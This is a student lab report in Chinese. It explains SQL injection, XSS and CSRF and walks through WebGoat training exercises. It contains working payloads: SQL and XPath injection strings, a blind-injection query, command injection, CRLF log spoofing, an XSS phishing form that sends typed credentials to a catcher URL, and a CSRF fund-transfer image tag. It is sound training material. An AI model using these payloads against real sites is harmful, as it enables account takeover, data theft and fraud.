Exp9 Web安全基礎

Exp9 Web安全基礎

1、基礎問題

  • SQL注入攻擊原理,如何防護
    • SQL注入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至形成破壞後臺數據庫等嚴重後果。
    • SQL注入通常分爲普通注入和盲注。
      • 普通注入:後臺數據庫會回顯有價值的提示信息,經過這些可能的報錯信息能夠更容易地進行注入,適合新手入門訓練。
      • 盲注:後臺管理員在給出錯誤頁面時,沒有提供詳細錯誤信息。攻擊者須要運用腳本經過僅有的判斷信息(好比時間差)對錶中的每個字段進行探測,從而實現注入。
    • 防護:對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。
  • XSS攻擊的原理,如何防護
    • 攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。
    • 瀏覽器自身能夠識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;從根本上說,解決辦法是消除網站的XSS漏洞,這就須要網站開發者運用轉義安全字符等手段。
  • CSRF攻擊原理,如何防護
    • CSRF攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情
    • 經過 referer、token 或者 驗證碼 來檢測用戶提交。儘可能不要在頁面的連接中暴露用戶隱私信息。對於用戶修改刪除等操做最好都使用post 操做

實踐過程

1.開啓webgoathtml

  • 輸入java -jar webgoat-container-7.1-exec.jar
    java

  • 在瀏覽器輸入localhost:8080/WebGoat,進入webgoat
    web

2.SQL字符串注入(String SQL Injection)sql

  • 讓咱們試一試使用SQL注入,從而顯示出全部信用卡號。能夠先輸入Smith試一試,發現出如今SELECT * FROM user_data WHERE last_name = 'Smith'兩個單引號中間,也就是咱們能夠經過控制在輸入框中輸入的字符串,達到控制select語句的目的。

    數據庫

  • 輸入'or 1='1,語句就變成SELECT * FROM user_data WHERE last_name = ''or 1='1',這句的意思就是查詢lastname='' OR(或者)1='1' ,這裏的 1='1' 永遠爲真,因此成功經過。
    瀏覽器

3.日誌欺騙(Log Spoofing)安全

  • 利用日誌的格式,使用換行等字符,欺騙管理員:Use CR (%0d) and LF (%0a) for a new line。
  • 好比輸入lzm%0d%0aLogin Succeeded for username: admin

4.Numeric SQL Injection服務器

  • 題目大意是這個表單容許使用者看到天氣數據,利用SQL注入使得能夠看見全部數據
  • 和以前的實驗相似,只要加上一個1=1這種永真式便可達到咱們的目的
  • 使用inspect Element對源代碼進行修改,在任意一個值好比101旁邊加上or 1=1;
  • 成功結果

5.Command Injectioncookie

  • 題目的要求是:嘗試給操做系統注入命令行,要求可以在目標主機上執行系統命令
  • 經過火狐瀏覽器的inspect Element對源代碼進行修改,右鍵點擊BackDoors.help,,這樣就能夠直接定位到須要修改的位置,無需一行一行代碼的查看了
  • 例如在BackDoors.help旁邊加上"& netstat -an & ipconfig"
  • 點擊view
  • 後面跟着結果

6.Stage 1:String SQL Injectionsession

  • 題目要求使用字符串SQL注入在沒有正確密碼的狀況下登陸帳號boss
  • 用老套路,以用戶Neville登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,發現登陸失敗
  • 查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多隻容許輸入8個字符
  • 對字符長度進行修改

  • 從新登陸,登陸成功

7.XPATH Injection

  • 題目要求是使用賬戶Mik/Test123,目標是試着去查看其餘員工的數據。
  • 使用一個普通的用戶名和密碼,XPath會起做用,可是攻擊者可能會發送一個壞用戶名和密碼,並在不知道用戶名或密碼的狀況下,選擇一個XML節點,以下所示:
Username: lzm' or 1=1 or 'a'='a
Password: lzm

8.Blind String SQL Injection

  • 使用盲注進行爆破,在「Enter your Account Number」輸入
    101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5213521352135213'), 1, 1) = 'h' );
  • 根據返回的提示來判斷name的範圍,直至返回成功,而後把Jill輸入表單,提交,以下圖所示:

9.Phishing with XSS

  • 這是跨站腳本釣魚攻擊,要求在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色
  • 在文本框裏面輸入一個釣魚網站代碼以下
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

  • 在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單以下
  • 輸入用戶名密碼
  • 點擊登陸,WebGoat會將輸入的信息捕獲並反饋回來,攻擊成功

10.Stored XSS Attacks

  • 要求建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容
  • 在Message中構造語句<script>alert("5213 attack succeed!");</script>,提交後,能夠發現剛剛建立的帖子20155213

11.Cross Site Request Forgery(CSRF)

  • 寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件
  • 在message框中輸入
<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=5213"/>
  • 提交後在下面的Message List裏面能夠看我剛剛發送的消息

  • 點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5213元,從而達到CSRF攻擊的目的

實驗總結

此次實驗確實學到了不少東西,原來還有這麼個集成攻擊小東西,練習中對xss,sql注入有了進一步認識,就先作10個吧。

相關文章
相關標籤/搜索